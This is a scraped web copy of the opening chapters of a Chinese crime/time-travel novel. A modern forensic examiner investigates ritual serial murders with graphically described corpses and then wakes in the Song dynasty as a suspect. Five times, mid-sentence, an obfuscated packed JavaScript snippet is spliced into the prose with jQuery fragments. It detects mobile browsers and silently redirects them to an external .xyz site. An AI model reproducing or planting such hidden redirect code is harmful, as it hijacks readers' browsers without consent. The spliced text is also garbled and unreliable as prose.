《穿到宋朝做明星法医》
1. 01 穿越倒计时72小时
01
老王家里的臭味越来越浓。一开始他以为是家里有什么东西腐败发霉了,翻箱倒柜闻了一遍,都和这股臭味对不上。
又过了一天,味道越发浓烈,仔细辨别,发现源头似乎不在自己家里。
他住在城中村棚户区,低矮的违章建筑一户挨着一户,凌乱的电线一圈缠着一圈,错落的竹竿上搭着内衣被单腊肉等各式杂物,抬头望不到完整的天。
他先是怀疑厕所粪坑堵了,隔着好几米就闻到骚臭的屎尿味,很冲,但不是他闻到的那种。
于是又走向另一头,路过他隔壁屋子的刹那,那浓烈的腐臭味立刻向他兜头一锤,让他刹住脚步。
没错,味道就是从这里传出来的。
02
这个棚户区居住的全是流动人口,有早出晚归的也有晚出早归的,兴许还有没落网的逃犯。
住户流动性强,今天见明天散,多一事不如少一事,邻里间并不往来。
老王白天在工地搬砖,晚上回来倒头就睡,五雷轰顶也醒不了。搬来两个月,要不是这臭味难以忍受,他根本不知道隔壁还有人住。
砸了两下门,没人应,又把耳朵贴近门板仔细听,隐约有震颤的嗡嗡声。他冲着屋里喊:“家里什么东西烂了!有没有点公德心!”
他这一喊,又几户人家也开门探出头来,捂住口鼻,小声抱怨“就是就是,臭了几天了”。
老王敲门不应,又走到窗前,窗户锁着,里面还拉上了窗帘,不过两道帘子中间有一条狭窄的小缝儿。
老王抬手遮挡反光,把额头贴上玻璃窗,用一只眼透过缝往里窥探。
里面黑魆魆一片,似乎有一团团什么东西飘来飘去,伴随那个隐隐的震颤声。
老王把脸又往玻璃上贴了贴,右眼睁得更大,用手哐哐砸了几下玻璃。
“砰——!”有什么东西撞到了窗户,老王吓得“我艹”了一声,屋里的窗帘被什么东西晃动了一下,缝隙变大了一点。这下他看清楚了,那团黑东西“轰”地一下一散开,更多噼里啪啦打在窗户上,抖得窗帘又掀开了一点。
空荡荡的屋子中央,俨然吊着一个竖长条状的东西,老王几乎立刻补全了模糊的画面,并发出一声凄惨的嚎叫。
03
宋连到现场的时候,一个年轻的民警正在距离小楼十几米远的空地上放肆的呕吐,从干呕的状况来看,他已经吐了有一会儿了。
宋连拍了拍他的后背,问:“痕检没揍你吗?”
小民警吐得眼泪哗哗,上气不搭下气,委屈地说:“我已经努力远离现场了,实在……忍不……”大概脑子里又唤起了对现场的记忆,一句话没说完整,又哇地一声干呕出去。
走进案发现场的那一刻,宋连知道小民警确实尽力了。
他人还没进屋,就听到嗡嗡的合奏,根据声音判断,屋里现在大概率已经是小飞行员的国度了。他检查了一下防护服,确定没有粗大明显的缝隙之后,迈步踏入房间。
岳雲已经在现场了,她是宋连的助手,去年毕业分配到刑侦大队。
“师父你又迟到了,”岳雲有些不满地看表,“3分48秒。”
“堵啊!”
岳雲不屑:“那你就早半小时出门呗。”
宋连一边摆手驱赶满屋子的小飞行员,一边教育徒弟:“听听这说的什么话!上辈子作恶多端,这辈子早起上班!”
04
“又是一起,”岳雲说,“不过这次换了个‘阵法’。”
宋连脸色一沉,越过岳雲看向尸体。
从外形上看,尸体具有明显女性特征,被一/丝/不/挂的吊在狭小房间正中央的天花板上。
与其说是吊起,不如说是“钩”——她像屠宰场里被宰杀的猪牛羊那样,被一个约三十公分左右的竖弯型铁钩从哑门穴[1]穿入,整个人就这样被挂在了天花板上。宋连绕到尸体背后,发现背部还插着三把刀。
尸体正下方的地面上用血写着两个字:铁树。
正值盛夏,房间又不通风,闭塞、闷热加速了尸体的腐败,蛆虫遍布,层层叠叠,还不时有白色肉蛆噼里啪啦掉在地上。
“咕咚——”宋连咽了咽口水。
岳雲冲他翻了个白眼:“你这毛病真的不用去看看?”
宋连头都没抬:“一种常见的生理反应,有什么可看的。”
“根据现场勘验,基本可以和之前那起案子做并案处理,”刑侦白队长从尸体后面钻出来,又蹲在地上查看那两个血字,“不是用手指写的。”所以提取不到指纹。
岳雲对现场进行拍照之后,三个人一起把尸体从天花板上放下来。
被害人面部遭受了严重的毁容,模糊到五官都难以分辨。初步判断应该是强酸灼烧。一同被烧毁的还有十指指纹。
烧伤部位没有生活反应,毁容发生在受害人死后。
但从地上喷溅的血迹以及铁钩穿入部位的生活反应判断,凶手将受害者用铁钩挂起的时候,受害者还活着。
受害人被如此残忍杀害,却没有任何反抗。由此,宋连判断受害者在被害时很可能处于重度昏迷状态。
进行完现场勘探之后,其余工作必须要回到实验室完成。离开的时候宋连又遇到那个小民警,他看岳雲的眼神都充满了钦佩,但脚步不由得往后退了退。
“你怎么看?”白队问宋连。
“用眼睛看,用仪器看,用痕检报告看,还能怎么看?”
白队眉头一皱,小声问岳雲:“你师父早饭吃的是炸药?”
岳雲摇头晃脑:“贪睡的唯物战士早起发现了邪教现场的正常反应罢了……”
白队一个人掰着手指分析这句话到底有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748778|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多少个重点。
05
两个月前,也是在一处城中村,也是先有恶臭传出,越发浓烈,居民实在无法忍受只好选择报案。
受害者同样是女性,面部有灼伤痕迹,赤身躺在浴缸中,一池血水已经黑中带着黄绿,尸体高度腐烂皂化。防毒面具根本不起作用,连岳雲和宋连都被刺激得眼泪直流,差点昏厥。
他们在浴缸对面的墙壁上发现了两个血字:血池。
这具女性尸体年龄在30岁左右,有过数次妊娠终止行为。由于尸体腐败严重,只能采取“手套法”——剥离尸体手部皮肤,套在法医手上按压提取指纹。
这活儿是岳雲干的,她对自己提取的十枚指纹十分满意,自称完美。
可惜指纹库中并没有匹配到相应的信息。
最后从尸体中检测到高浓度安眠药成份,初步推测是一起谋杀,但也不能排除自杀可能。
如今又有了一起形式高度重合的案件,经过痕检鉴定,应该与血池命案属于同一凶手连环作案。
但这次的作案手段更加复杂、残忍,说明凶手在不断升级以获取快感。
06
宋连和岳雲在解剖室住了两天,最终验尸报告证实了宋连的猜测:受害者体内发现大量麻醉剂,凶手先用三把刀插入被害人背部,造成开放型创伤,但并不致命,致死原因是那根恐怖的长钩,它从脖颈一直刺入大脑,刺穿了枕动脉和颈静脉,受害者因失血过多死亡。
而面部及指纹的销毁则是在被害者死亡之后进行。
另外,受害者有遭受过异物侵入的痕迹,但没有发现其他人的体//液。
痕检在现场没有采集到完整指纹,没有发现明显的脚印,甚至连多余的毛发都没有。这说明凶手具有很强的反侦察能力,心理素质极强,在行凶之后还耐心细致地处理了现场痕迹。
冷漠、残忍、毫无同理心——高危反社会人格。
与血池案一样,对周边住户的走访调查也没有太多进展。目前为止,除了知道被害人均是年纪在30岁左右的女性,有过多次妊娠终止行为,死亡前被毁容以外,几乎没有其他有效的直接线索。
但相比血池案,这次刑侦人员多了一个明确的线索:凶手是按照某种宗教符号进行作案。
局里成立了专案组,邀请相关领域的专家学者共同研究,很快找到了相应资料:这是北宋《汴京水陆全图》中,对十八层地狱的设定描述。
与此同时,法医心理学专家给出了几个参考方向:凶手实施的一系列侵犯及毁容行为,有可能代表着,1、凶手有某种生理功能障碍,2、对女性或感情经历丰富的女性有极深的仇恨;3、凶手支配欲极强,对绝对的权利有极度渴望;4、作案手法充满宗教仪式感,则代表凶手可能是某个邪教狂热分子,并且具有一定程度的历史、宗教相关研究。
2. 02 穿越倒计时24小时
01
“装神弄鬼!”
宋连把岳雲递给他的铜钱剑又丢回给她。
尽管法医都是走在唯物主义最前沿的战士,但见过千奇百怪的死法和尸体之后,也会不由自主对科学边界产生出些许敬重。
有些法医的“法宝”恐怕比风水先生还齐全,比如岳雲。
这把铜钱剑果真是用十几枚铜钱串起来的、巴掌大的迷你小宝剑。她说这是她家祖上传下来的,不但可以驱邪避灾,还能保佑难题顺利解决。
“要真有用的话找个算命先生算一算就行了,还要我们干嘛呢?”宋连盯着电脑屏幕,网页上是关于《汴京水陆全图》地狱篇的部分。
“岳雲同志,我必须要严肃提醒你,过分迷信就会变得像那个变态连环杀手一样。只有科学才能拯救世界!”
岳雲撇撇嘴,不服气的嘟囔:“真的很灵的。”突然她灵光一现,将那铜钱小剑偷偷揣进宋连的外套内袋。
02
宋连在法医中心一直加班到深夜,手边的纸页上密密麻麻记录着各种符号名称。
根据《汴京水陆全图》所描绘,除了血池地狱和铁树地狱,还有拔舌地狱、剪刀地狱、蒸笼地狱、铜柱地狱、等等十六个。
光是看名字就能想象到画面的残忍,如果这个凶手真的打算要按照图片所画内容,凑齐十八个命案现场……简直就是一个疯子!
03
时间一点点流逝,案子却没有进展,宋连于是又祭出他的自闭冥想大法——钻进一个崭新的裹尸袋,拿出iPad,打开了《嗜血法医》……
视频在播放,但他也没有真的在看。他突然有一种感觉:这样精密而严谨的凶手,这种沉着冷静又凶残的现场,只有老练的惯犯才有可能做到。
老练……残忍……聪明……
宋连脑子里突然有了个模糊的轮廓,这个轮廓他并不陌生,过去十几年无数次出现。
它站在河边,像一团散不去的阴魂,冲着宋连咧嘴笑。
轮廓的脚边还躺着一个少女。
04
“嘀嘀嘀-嘀嘀嘀-嘀嘀嘀”
宋连睁眼的时候是早上八点半。他从自己的储物柜里拿出洗漱用品,3分钟洗脸刷牙,在8点35分的时候坐在了办公桌前。
电脑桌面里那个叫“法医人类学文选”的文件夹里其实只有一个文档,是他的辞职报告,存在这里已经好久了。
如果不是这宗棘手的案子,他的报告现在应该已经在局长的桌面上了。
8点40,办公室的门被推开,岳雲打着哈欠挪到她的桌边。
宋连看了看时间:“你又迟到了。”
岳雲慵懒地回答:“又没有现场出……没动力上班啊……”
她拿起一支粉嫩嫩的星巴巴杯子,接了一杯水灌了下去。这杯子还是她入职第一天,宋连送她的礼物。
岳雲第一次跨入这间狭小办公室时的情景,她说自己的名字是“拨开云雾见青天的意思”,还说她家祖传干法医的。
宋连没信,因为他在系统内从来没听过有这个姓氏的老法医。但是在相声界倒是听过一个同姓还差一点同名的大腕。
于是宋连也随口回应了一个玩笑:“巧了,我家也祖传。我是宋慈第33代嫡孙。”
岳雲的眼睛先是睁得浑圆,很快又弯成了月牙:“那还是您厉害!”
精明能干力气大的新人小伙子最抢手,并不是因为性别歧视,主要法医这个工作,很多时候是个体力活儿,上得了高山大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748779|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楼悬崖峭壁,下得了窨井地窖臭水沟渠,搬、扛、砸、砍都是基础技能。
但宋连就很佛系,不挑不抢,剩下谁他就要谁。
岳雲来的那天,一看是个利落大方的小姑娘,宋连赶紧跑去星巴巴挑选了一只粉嫩嫩的杯子,作为新人见面礼。
岳雲收到来自宋师父的见面礼时,表情有点五味杂陈,但很快就愉快地收下了。
05
白队走进办公室的时候,师徒二人正对着电脑上血呼啦擦的现场照片沉思,手边是一摞刚整理出来的卷宗。
岳雲:“凶手很可能不止这两次作案。”
宋连:“嗯,心狠手辣,经验丰富。”
岳雲:“所以……”
宋连:“得快!”
办公室不过十来平米,光天化日之下俩人当白队是假的,一左一右从白队身旁经过的时候,才突然发现这里什么时候多了个大活人。
“白队你什么时候来的?巧了,我正要去找你,是这么个事……”
……
……
白队从进门到现在一句话没来得及说,生生遭受了精神和人格的双重忽视。
06
“以上就是我们目前的推测,建议立刻进行跨辖区,甚至跨省联合调查,可能还有可以并案的案件。”
白队对这个推断也很认同,立马准备发协查通知。
又想起什么事儿,拍了脑门:“我来是想通知你俩,局长安排了今晚加班一起吃饭,三楼大会议室,要求局里加班的必须参加!”
宋连一个大写的震惊:“这都什么时候了!案子破了吗?嫌疑人找到了吗?犯人抓住了吗?吃什么饭!”
白队摊手:“别跟我说,找局长去!”然后无情地转身。
3. 03 穿越倒计时12小时
01
老局长上辈子可能是月老兼职,从在任那天起,就对队里的单身大龄男女青年十分劳心。
这些年雷打不动每季度组织一次单身联谊,地点就在大会议室。一开始,在饭有引力的吸引下,参与者积极踊跃,一间会议室竟然都坐不下。
可几次之后,外卖排行榜TOP10已经吃了个来回,众人便兴趣缺缺。
都是熟人,有什么可联的,筷子还没撇开,饭局就变成了开会;案情还没讨论两句几个人就开始争论得面红耳赤。
都是日常操作,一顿饭吃得不但色香味弃权,还精疲力尽。
有几样检验报告还没出来,宋连还不能回家,只好躺上他的值班行军床打算眯一会儿。
但今天不知怎么的,突然不想看《嗜血法医》了,而是鬼使神差般点开了《大宋提刑官》。
大概是这起案子的手法非常原始与野蛮,才会潜意识想向行业鼻祖祈祷,求前辈托梦给他一点灵感。
梦是真梦了,但都是一团团乱七八糟的噩梦。一会儿是那个如烟如雾、邪恶微笑的轮廓;一会儿是一具千刀万剐、体无完肤的尸体。他们交错出现,最后融合成一体,站在一条宽阔的河边,模糊的脸一震一颤,张口就是一阵嗡嗡嗡的声音。
02
宋连睁开眼睛,看到手机正在桌面上“嗡嗡嗡”地震动个不停。
屏幕上显示来电是白队,此刻是凌晨三点。
“市中心展馆又发现了一具毁容尸体。”
03
阴沉了一整天,终于开始了闷雷。乌云太厚了,只听到轰隆隆的雷声,看不见闪电的光。
展馆位于城区中心地段,在寸土寸金、高楼大厦鳞次栉比的CBD,这个一年到头也卖不出几张票的艺术展馆显得非常突兀。大概是某个钱多到撒不完的开发商附庸风雅的任性结果。
宋连看着展览中心门口巨大的立绘,上书:「拂晓时辰——宋潮展」
闷雷越压越低,像是穿过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748780|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
层层乌云,即刻就要到达头顶。宋连叹口气,步入案发现场。
尸体的第一发现人是场馆内巡逻的保安。
展览每晚10点闭馆,之后保安照例要对整个展馆进行一圈巡视。走到“宋代法医学发展”区域,看到有人俯卧在玻璃陈列柜旁。
保安一开始以为是展馆里的模特,因为“它”身着古代的服饰。
可他在这里巡逻了数月,展馆中每一处细节几乎都刻进了他的脑子里,他确定这里没有这样的模特。
可如果是一个游客,这样引人注意的穿着他不可能注意不到,今天本就没几个参观者。
保安带着疑问来到那人身旁,先喊了两声,没有回应,又蹲下来拍了拍。
这一拍,他就感觉到了异样。
这人的后背没有常人该有的温度,更没有活人应有的软度。
他突然想起刚从冰箱里拿出来的冷冻肉。
保安吓得一屁股坐在地上,向后撤了几步,立刻报了警。
4. 04 穿越倒计时1小时
01
尸体面部朝下趴着,衣物为棉麻材质,表面有多处破损,还有一些灼烧的痕迹。
宋连第一眼看到他就有一种怪异感。他总觉得尸体的背影很眼熟,肯定在哪见过,但又想不起来。
根据现场工作人员的口供,首先展馆并没有提供真人CosPlay演绎或讲解环节;其次保安和检票员能准确地认出今天每一个入场和出场的人,但是没有任何人见到过穿着这身衣服入场的游客。
更何况闭展之前都会清场。那个时候,场馆里不应该有游客。
宋连给尸体各个角度拍照留存证据之后,才准备把尸体翻过来。
“轰——!!!”外面的惊雷已经压得很近,展馆内的灯光都被震得闪了几下。
宋连觉得有一瞬间的耳鸣,心脏附近窜过一阵酥麻,跟过电似的。他心里有些打鼓,祈祷展馆屋顶装了避雷装置。
他将注意力再次集中在尸体上,想翻过尸体查看正面。在接触到尸体的那一刻,怪异的熟悉感又突然袭来,惊雷再次落下,玻璃展柜似乎在震荡中发出了滋滋裂声。
尸体的面部遭受了严重的割伤,已经难以辨别相貌,从伤口的生活反应来看,他是在生前遭到了毁容。
02
外面的闪电异常的低,身处灯光之中的宋连都明显感觉到了耀眼的闪爆。
又一道雷声再次降下,过电般的感受再度来袭。只是夹杂在雷鸣中的,似乎还有人在呼唤他:
“宋连!”
哪里来的声音?
宋连环顾四周,除了他以外并没有人在场。远处偶尔传来白队的问询声和工作人员回答的声音。
难道是自己幻听了?宋连闭眼稳了稳神,将手再次放在尸体身上。
又一股电流,是从尸体流向宋连的心口部位。
他摸了摸自己的胸口,发现一块坚硬的轮廓——是岳雲的那把铜钱小剑。
“这个岳雲!”宋连磨牙,封建迷信害死人!
“——宋检法,你在何处呀?”
这次宋连听的真切,的确是有人在喊,还是好几个人。
但这里除了他,就只有那具被毁容的尸体。
宋连的心脏跳得很快,这种感觉自他走进这个展厅之后就多次出现。
不是因为害怕,而是那怪异的熟悉感。
宋连仔细观察这具尸体,身高、胖瘦、头型、臂展,以及……
他将尸体的手指撑开,覆在自己手掌上——大小、长短,严丝合缝,右手手背上相同的地方,也有一颗清晰的黑色小痣。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748781|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
这具尸体有着宋连最为熟悉的身形特征,那就是他自己!
03
宋连触电一样慌忙将手撤回,就在同时,一道闪电劈向展馆,精准地击中那柄铜钱剑,同时巨大的轰雷将展馆里所有的展柜齐齐震碎。
宋连被闪电的强光包围,仿佛置身于一场闪爆的中心。
他眼前一片白,只听到来自四面八方嘲杂的声音:
“死者为女性,身高约五尺,死后2小时内被移动倒吊起来……”
“一击未毙命,却不敌对方力量,她没能逃跑,而是又连中数下……”
“凶手有备而来,带着凶器,趁张三郎转身时突然下手,刺穿颈动脉,血液喷溅出来……”
“死亡时间大概在10-14小时,断首处皮肉没有回缩,是死后斩首,凶手下刀利索毫不犹豫,足见其冷酷和冷静……”
“你我今日一别恐怕凶多吉少……”
“连环杀人案的真凶,就是你!”
“来人呐!将这蛊惑人心意图谋反的罪人宋连给我拿下!”
“……”
“……”
无数声音叠加着穿过耳膜又远去,最终只有一个沉稳的声音跟他说:
“宋连,醒醒,时辰到了,该出发了!”
5. 00 楔子
01
街道空无一人,路边一堆堆刚烧过的纸钱灰烬,在风的卷动下转着圈升上半空。黄色的残缺碎片被裹挟着漫天飞舞。
一道惊雷落下,将天撕开一个巨大的口子,沿街白色的纸灯笼无序地左右摇摆。
风声呜咽,像极了凄厉的哭声。打更人的声音淹没其中,隐约能分辨他说的话:“子夜已至,地狱门开,百鬼夜行,生人避让!”
02
破败的墙边,一只老鼠吱吱流窜。它在一堆白森森的东西前停了下来,不断嗅探,抱起一根小指长的东西啃咬起来。
年久的木门吱吖一声被打开,老鼠受了惊吓,丢了手里的东西就跑远。它躲在墙角等待,发现只是风吹开门而已,又回到原地继续进食。
老鼠专注地享受食物,丝毫没有注意到一个黑影正无声无息从身后逼近。
一道惊雷劈下,夹杂着某种凄厉尖锐的吱吱鸣叫,破败地消失在雷声中。
“咯咯咯”的笑声由远及近,黑影飞快闪退,隐没于黑暗之中。
两双脚一前一后进了院子。
03
女人越过门槛之后停了下来,细声细语说了些什么,突然她尖叫一声,便双脚离地。另一双脚继续向院内走,还能听见女人娇滴滴的笑声。
“这里好黑,还有股臭味!”女人嫌弃地娇嗔。
“眼看外面要下雨,不找地方躲起来,我俩就得变落汤鸡!”
男人不知道干了什么,引得女人又咯咯咯笑起来。
“今天可是中元节,这里阴森森的,怪吓人的……”女人说。
“像是一座祠堂,”男人的脚步四处移动,似是在找寻什么,“不做亏心事,不怕鬼敲门!有神明保佑,怕什么!”
女人紧紧贴着男人:“死鬼,做没做亏心事你自己不知道啊?”
男人像是被这话刺激了,转身于女人扭打在一起,但也不是真的打,那女人又娇嗔起来,一边娇笑一边气喘吁吁说:“在神仙面前做这档子事,就不怕遭报应!”
“我可没说要做什么!”男人摸索半天,终于找到想要找的东西。
硝石摩擦发出清脆的声音,空气潮湿,打了好几下才打出火花。
眼前是一个落满灰尘的桌台,上面有几盏油灯,里面的凝固物夹杂着绿色黑色的霉物,散发着难闻的腐败味道。
微弱的光源迅速填充了破败祠堂的一隅空间。
女人借着微光四下环顾,突然“啊——”一声尖叫。
“作何大惊小怪!”男人似是有些不悦,“说了是避雨,稍稍忍耐一下也不行?”
“这……这是……”女人声音都颤抖了。
男人走过去,看到一堆白森森的骨头,看体积大概是野狗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748782|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
或野狐狸。
“旁边还有血迹,新鲜的!”女人像是要哭了。
“死老鼠的头,估计身子被什么叼跑了。”男人并不太在意。
但女人心有戚戚,退回到油灯边。她转过身去,看到一座巨大石像,赶紧先对着拜了拜,才仔细打量这座石像。
石像呈坐势,足有五六人高。或许是光线角度的缘故,这座石像的面容总有种鬼气森森的感觉。双眼微阖但眼角下垂、嘴角下吊,透着点阴森。
“要么……趁着雨还未下,我们快走几步各自回家算了……”女人小声说,“这石像总觉着邪性的很,看久了要被噬魂似的!”
男人嗤笑一声:“是谁非要在鬼节出来找刺激,还美其名曰‘鬼混’,怎么,害怕了?”
他一把搂住女人,也看向那石像的面容。
“是挺邪的,看久了能勾人邪念。”
04
半天没有讲话声,只有布料摩擦的窸窸窣窣和小声的哼吟。
那黑影又从黑暗中悄然走出,探听片刻,透过隔墙缝隙看过去:四肢交叠,声音由浅及深。
又一道惊雷落下,憋了一整天的大雨终于倾泻而下。
雷声与雨声都变得密集了起来,盖过了祠堂里的高声尖叫。
黑影不见了,只剩那座巨大的石像垂眸不语,从两眼淌下两股暗红色的血泪。
6. 01 垂死梦中惊坐起,凶手竟是我自己?
01
一声闷雷震荡,宋连霎时惊醒,眼前一片昏暗。
他的大脑迟滞片刻,记忆才一点点拼合:展览馆出现了一具尸体,他在现场勘验的时候……被雷劈了……
他抬手在自己眼前晃了晃,还好,闪爆没闪瞎他的眼睛。
但这么昏暗是为什么?难道是雷击造成了展馆停电?其他人呢?
看起来他似乎在一个破败的仓库?又不太像。
空气中有全是阴湿的霉味,隐约还有一股熟悉的臭味,是蛋白质分解时产生的腐败气味。
处处透着古怪,肯定出了什么问题,他得尽快联系岳雲和白队。
宋连摸到木质家具的一角,撑起身体想站立起来。
“你醒了。”黑暗中突然传来声音。
宋连吓得一激灵:“谁!”
不远处,一个煞白的影子突然动了动,越变越高,向宋连缓缓移动。
02
宋连下意识想摸点什么东西防身,抓了半天只抓到两把空气。
那白影在距离宋连两米的地方停了下来,双方都不敢轻举妄动。
先被雷劈,然后闪爆,现在有看到了白色的虚影……
宋连突然有了另一种大胆的猜想……
“怎么只有你来了?你那黑搭档呢?”
白影没动也没说话。
宋连苦笑一声:“原来真的有死后世界,岳雲要是知道了还不得意死!”他叹口气,站起身,又问白影:“我现在是要跟着你走吗?有没有给人间留遗言的环节?或者随机实现一个遗愿的福利?”
白影仍然沉默,宋连:“你要是没那么着急的话,要不再给我两天时间?我手里还有三个案子……”
白影晃动了一下,终于开口了:
“何方妖孽,快快现出原形!”
03
清晨的光线透过残破的缝隙一点点挤进来,周围仍旧一片朦胧,但白影近在眼前,能看出一张五官端正的面部轮廓。
等一下,这是一个……人?
宋连简直要笑出声,自诩唯物战士,竟然会认为自己遇到了黑白无常!
也不怪他胡思乱想——眼前这“人”的头发绾成一个发髻,用白玉簪束在头顶。身穿白色圆领宽袖襕衫,领口袖口沿边的暗纹绣样在昏暗中还能隐隐反出缎面反光。
这身打扮只有在古装影视剧和网红景点里才会出现……
宋连的大脑乱糟糟绞成一团,CPU内存严重不足。
那白影却突然拽住宋连手腕,用极轻又极快的语速说:“我五更报官,你随我来此处查看,不想遭遇雷击,丧失了记忆。”白影将一张纸塞进宋连兜里,又说:“传言中元夜百鬼夜行,你被夺舍了。你只需承认了便是。”
“哐嘡”一声,院门被大力推开,接着传来好几个人窸窸窣窣的脚步声。
白影又用力捏了捏宋连的拳头:“若想活命,需先破了此案!”
此案?什么案?这是迷雾剧场吗?演员黑灯瞎火的认错了人吗?
可接下来白影又说:“无论你是何精怪,宋连活,你活!”
宋连的大脑终于突破阈值,全线崩盘。与此同时,“砰!”一声巨响,一道刺眼的光亮照射进来,那白影飞快向后退了一步,消失在阴影之中。
突如其来的光线刺得宋连睁不开眼,十几个人影冲了进来,跑到宋连跟前的时候,个个表情怪异。
“宋、宋检法……你……头发呢?!”
来人个个束发,穿着古代服饰,而自己……衬衣和运动裤已经破破烂烂,精神小伙的短发此刻也显得格格不入。
果然还是走错了片场吧!
“啊!!!”一声尖叫,一个人面色惊恐,指着宋连身后的方向,颤声说:“宋、宋检法……你……身后……是什么?!”
04
一尊通体青灰的石像,约莫三层楼高。石像头顶束髻火焰冠,其上刻有雷电纹,边沿几十个骷髅雕刻排成一圈。双眼微阖,但眉头若有若无的皱着,眼下有两道红褐色印痕,看起来就像两道血泪。
嘴唇貌似是平和的,但随着宋连脚步的移动,整体的面部表情却好像发生了微妙的变化。说不上是伤心,忧愁,还是生气。
石像呈坐姿,一条腿盘坐于地上,另一条则半屈腿以脚掌撑地,一只大手掌就有一人高。他掌心向内,五指下垂,手指触地。另一手则手掌向上,呈托举姿势。
正是这只手的食指处,倒吊着一具尸体。
十几道目光在宋连和尸体上来回打量,有几个人当场嚎叫起来,哇哇呕吐。
05
“我去CBD展馆出现场,发现了一具尸体,然后突然遭遇闪爆,醒来之后就在这里了。中间发生了什么我是真的不知道!”
宋连早已放弃了思考与挣扎,面对眼前这蒙着面罩眼神凶煞的人,又重复了一遍供词。
他现在基本可以确认,自己误入了某个综艺录制现场,类似“明星小侦探”这种,实景多人密室解谜游戏。
他看过几期,剧情暂且不说,道具做得是挺真。
对面的人没有说话,似乎是在思考,宋连又再次解释:“我不是故意扰乱你们录制的,要不然你们替我报警吧!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748783|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
系统里能查到我的警号。”他边说边摸索证件,坏了,证件一定是落在展馆了!
众人听宋连唠叨半天,脸上全是疑惑加惊恐,宋连从他们的窃窃私语中听到了“胆小”、“报官”、“不可貌相”之类的词,又想起那白影说过的话。
对!白影!如果这真是个命案现场,他才是第一嫌疑人!
“有个白衣人!”宋连急忙说,“你们来的时候,这里还有个白衣人!我醒来的时候他就在,很可能就是嫌疑人!”
那蒙面人问:“哦?那他现在何处?姓甚名谁?”
“他……跑了……”跑得很仓促,都没来得及问名字。
蒙面人一副“你听听你自己在说什么鬼话”的表情,始终与他保持着一臂之外的距离,又把面罩往上拉了拉:“宋检法,我们不知你何故出现与此,与这尸体又有什么关联……”蒙面人顿了顿,继续说,“同僚一场,希望你不要为难兄弟们,有什么隐情,如实招来!”
06
这帮人不像是演的,至今为止,剧情走得稀碎都没人出来喊“Cut!”
垂死梦中惊坐起,凶手竟是我自己?
宋连的大脑已经彻底崩盘,本能地拒绝外界所有信息。面对一众人的盘问,机械地复读了那个消失的白影最后说给他的台词:“五更时,有人报官,我来此处查看,不想遭遇雷击,丧失了记忆。”
蒙面人问:“何人报官,现在何处?”
“跑了啊,就那个白影……白衣人,你们进来的时候他还在,咻地一下就跑没影了……”
“嘶——耍我是不是!”蒙面人有些气急,正要命人将宋连拿住。
“慢着!”门外传来一声大喝。
一个身穿绯红官服的人站在门口。
